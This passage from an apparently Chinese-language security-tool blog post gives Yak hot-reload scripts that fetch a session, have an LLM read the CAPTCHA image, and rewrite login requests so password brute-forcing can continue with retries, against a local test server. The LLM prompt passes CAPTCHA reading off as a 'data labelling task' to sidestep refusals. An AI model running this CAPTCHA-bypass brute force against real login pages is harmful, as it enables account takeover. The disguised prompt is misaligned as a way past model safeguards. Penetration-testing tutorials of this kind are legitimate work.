<p>**<code>1.retryHandler</code>**重新走一遍"拉 session → 拉验证码 → AI 识别 → 改写请求"，然后调用 <code>retry(newReq)</code> 用新请求重试。</p>
<p>那么有一个问题——<code>beforeRequest</code> 和 <code>retryHandler</code> 都需要"拉 session → AI 识别 → 改写请求"这同一段逻辑。直接复制粘贴当然能跑，但代码就重复了。我们把这段公共逻辑抽成一个函数 <code>recognizeAndPatch(req)</code>：</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="完整的热加载代码v2带重试">完整的热加载代码（v2：带重试）<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%AE%8C%E6%95%B4%E7%9A%84%E7%83%AD%E5%8A%A0%E8%BD%BD%E4%BB%A3%E7%A0%81v2%E5%B8%A6%E9%87%8D%E8%AF%95" class="hash-link" aria-label="完整的热加载代码（v2：带重试）的直接链接" title="完整的热加载代码（v2：带重试）的直接链接" translate="no">​</a></h3>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"http://127.0.0.1:8787"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YSESSIONID_SAFE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">maxRetry </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// 单次成功率 ~57%，6 次重试覆盖 99% 以上</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// === 公共函数：拉 session、AI 识别验证码、改写传入的请求 ===</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">recognizeAndPatch </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/op"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get session failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    newCookie </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">RawPacket</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    codeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Cookie"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%v=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get captcha failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    imageBase64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">EncodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codeRsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">FunctionCall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"从图片中提取的验证码类似的内容"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">imageBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">imageBase64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"ai recognize captcha failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    captchaCode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"session=%v, captcha=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketPostParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// === HOOK：beforeRequest —— 每个新请求发出前先识别一次 ===</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">recognizeAndPatch</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// === HOOK：retryHandler —— 重试时重新识别一次再发 ===</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">retryHandler </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retryCount</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retry</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> retryCount </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> maxRetry </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Recog error for code"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> body</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"verification code not match"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        newReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">recognizeAndPatch</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">retry</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">newReq</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>四个关键点：</p>
<p><strong>1.公共函数</strong><code>recognizeAndPatch(req)</code>**。把"换 session + AI 识别 + 改写请求"封装成一个纯函数，接收原请求、返回新请求。<code>beforeRequest</code>和<code>retryHandler</code> 都调用它，逻辑只有一份。</p>
<p>**<code>2.beforeRequest</code><strong>只剩一行</strong>。所有重活都委托给公共函数。</p>
<p><strong><code>3.retryHandler</code><strong>重新识别后调</strong><code>retry</code></strong>。<code>retryCount</code> 是当前已经重试的次数，超过 <code>maxRetry</code>（这里设 6）就放弃。每次重试都重新拉一对全新的 <code>(session, 验证码)</code>，所以哪怕连续几次都被 AI 认错，也能继续往下重试。</p>
<p>为什么 <code>maxRetry</code> 设 6？回到 Benchmark 章节：单次成功率 ~57%，6 次重试累积成功率 99.37%。换句话说，1000 个密码里，最多只有 6 个会因为重试 6 次都失败而漏掉。这个比例完全可以接受。</p>
<h1>五、调试与使用</h1>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="调试先在-yak-runner-里跑一遍">调试：先在 YAK Runner 里跑一遍<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E8%B0%83%E8%AF%95%E5%85%88%E5%9C%A8-yak-runner-%E9%87%8C%E8%B7%91%E4%B8%80%E9%81%8D" class="hash-link" aria-label="调试：先在 YAK Runner 里跑一遍的直接链接" title="调试：先在 YAK Runner 里跑一遍的直接链接" translate="no">​</a></h2>
<p>热加载代码贴到 Web Fuzzer 之前，最好先单独验证一下这两个钩子的联动是不是真的能打通。</p>
<p>这套涉及两个回调的逻辑要是直接上 Web Fuzzer 调起来非常麻烦。</p>
<p>这里先明确一下 <code>retryHandler</code>的调度语义：只要热加载里定义了<code>retryHan``dler</code>，Web Fuzzer <strong>每个请求发完都会把响应交给它</strong>，是否真的重试完全由 <code>retryHandler</code>自己决定——</p>
<ul>
<li class="">如果它调用了<code>retry(newReq)</code>，Web Fuzzer 就用 <code>newReq</code>再发一次（并把<code>retryCount + 1</code> 再丢进来）；</li>
<li class="">如果它直接 <code>return</code>（不调 <code>retry</code>），这次请求就算结束，不会重试。</li>
</ul>
<p>换句话说，<strong>"失败判定"和"改写请求"都收敛在</strong><code>retryHandler</code><strong>一个函数里</strong>，不需要再去配 <code>customFailureChecker</code> 或 UI 上的失败关键字。这也是我们只用 <code>beforeRequest + retryHandler</code> 两个钩子就能闭环的原因。</p>
<p>我们直接用 YAK Runner 模拟 Web Fuzzer 的调用顺序：先调 <code>beforeRequest</code>拿到改写过的请求 → 实际发出 → 把响应交给 <code>retryHandler</code> → 如果 <code>retryHandler</code> 决定重试，再实际发一次。</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"http://127.0.0.1:8787"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YSESSIONID_SAFE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">maxRetry </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">template </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`POST /verification/safe/op HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">Host: 127.0.0.1:8787</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">Cookie: YSESSIONID_SAFE=PLACEHOLDER</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">code=temp&amp;password=0000`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// === 下面这一段（公共函数 + 两个钩子）就是要粘贴到 Web Fuzzer 里的代码 ===</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">recognizeAndPatch </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/op"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get session failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    newCookie </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">RawPacket</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    codeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Cookie"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%v=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"get captcha failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    imageBase64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">EncodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codeRsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">FunctionCall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string" style="color:#e3116c">`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"从图片中提取的验证码类似的内容"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">imageBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">imageBase64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"ai failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    captchaCode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"session=%v, captcha=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" 